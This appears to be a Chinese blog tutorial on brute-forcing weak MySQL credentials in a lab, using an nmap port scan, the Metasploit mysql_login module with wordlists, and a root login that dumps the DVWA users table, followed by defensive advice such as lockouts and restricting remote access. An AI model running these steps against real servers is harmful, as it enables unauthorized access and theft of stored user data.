当前位置:网站首页>6-21漏洞利用-mysql弱口令破解
6-21漏洞利用-mysql弱口令破解
2022-07-29 02:08:00 【山兔1】

mysql介绍
Mysql是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于Oracle旗下产品。Mysql 是最流行的关系型数据库管理系统之一,在WEB应用方面,mysql是最好的RDBMS(Relational Database Management System,关系数据库管理系统)应用软件。
每一段内容存储到表当中,多张表进行对应的组合,存储对应的数据,内键、外键、唯一的索引,不同的值,都有对应的联系,这就是我们关系数据库的大概
Mysql是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据存放在一个大仓库内,非关系型数据库,mydbs、mongdb,把数据存储到大的内存当中,而不是存储到大的表当中,他们没有表的概念,存储到表当中,是提高了搜索的速度,并且有更强的灵活性
我们可以在mysql官网,查看mysql的信息:https://www.mysql.com/
探测目标mysql
使用nmap -sV -p 3306 IP地址,默认mysql是运行在3306的,探测目标mysql版本信息。

nmap -sV -p 3306 192.168.42.137

msf破解mysql密码
使用msf下的mysql_login模块破解mysql登录用户名和密码

msfconsole
use auxiliary/scanner/mysql/mysql_login
show options

set rhosts 192.168.1.105
show options

set user_file /home/kali/Desktop/user.txt
set pass_file /home/kali/Desktop/PASS.txt

show options
run

当我们拿到mysql用户名密码之后,我们就可以登录到mysql客户端,来查看数据库当中,存储的数据
登录数据库查看数据
使用mysql -h IP地址 -u root 登录数据库系统
mysql -h 192.168.1.105 -u root
show databases;

use dvwa;
show tables;
select * from users;

以上就是我们破解用户名,登录数据库,查看数据
我们之所以能够破解成功,是因为我们的数据库用户名过于简单,用户名使用了root这个用户,以及密码是空密码,或者是其它简单密码,都是很容易被破解出来的,这个时候,我们需要防御这样的探测,就需要将用户名密码,设计的比较复杂,使得不是那么容易被破解,以及可以设计阈值,当我们错误三次登录之后,就会封锁对应的IP,限制登录十分钟,这样就不能很快速的破解,甚至无法破解,我们可以修改mysql默认端口,3306,将它设计成其它端口,迷惑我们的探测,同时,我们不允许mysql外联,只能通过127.0.0.1进行本地连接,否则不进行连接,或者指定具体的IP地址,进行连接,不能任意的IP都能连接到mysql上
边栏推荐
- 一文读懂Okaleido Tiger近期动态,挖掘背后价值与潜力
- Read the recent trends of okaleido tiger and tap the value and potential behind it
- ES6事件绑定(v-on用法)
- 工程经济学知识点总结
- VR safety training of mine mining virtual reality improves employees' vigilance and protection awareness
- Split, an avalanche caused by connection pool parameters
- Redis主从模式、哨兵集群、分片集群
- 全新UI四方聚合支付系统源码/新增USDT提现/最新更新安全升级修复XSS漏洞补单漏洞
- MQTT例程
- 6 years of testing experience, teaching you how to test ~ how to control the project
猜你喜欢
![[quality] code quality evaluation standard](/img/33/2c2256fd98b908ddaf5573f644ad7f.png)
[quality] code quality evaluation standard

Never pass a request to an asynchronous thread. There is a hole

6年测试经验,教大家测试~如何把控项目

How does the Devops team defend against API attacks?

STM32F103 learn the steps and template fool tutorial of 1-keil5 project establishment

FPGA刷题——存储器(RAM和FIFO的Verilog实现)

The financing demand of 129 million yuan was released, and the roadshow of the Dake city project continued to irrigate the "good seedlings" of scientific innovation

Ten methods to prevent blackmail software from attacking data

What should I do if excel opens a CSV file containing Chinese characters and there is garbled code?

Meeting notice of meeting OA
随机推荐
Three implementation methods of Servlet
Stm32f103xx firmware function library-1
Altium designer outputs Gerber and other production documents
线上3d数字展厅制作方案及优点
会议OA之会议通知
代码实现 —— 多项式的最大公因式(线性代数)
I want to talk about high concurrency.
一文理解分布式开发中的服务治理
工程经济学名词解释
What happens if you have to use ArrayList in multithreading?
VR safety training of mine mining virtual reality improves employees' vigilance and protection awareness
Source code and display of 18 classic programs in C language vs2019
ROCBOSS开源微社区轻论坛类源码
FPGA刷题——存储器(RAM和FIFO的Verilog实现)
Memories of many years ago
MySQL驱动中关于时间的坑
Excel uses countif statistics
如何把thinkphp5的项目迁移到阿里云函数计算来应对流量洪峰?
ES6 detailed quick start!
Production scheme and advantages of online 3D digital exhibition hall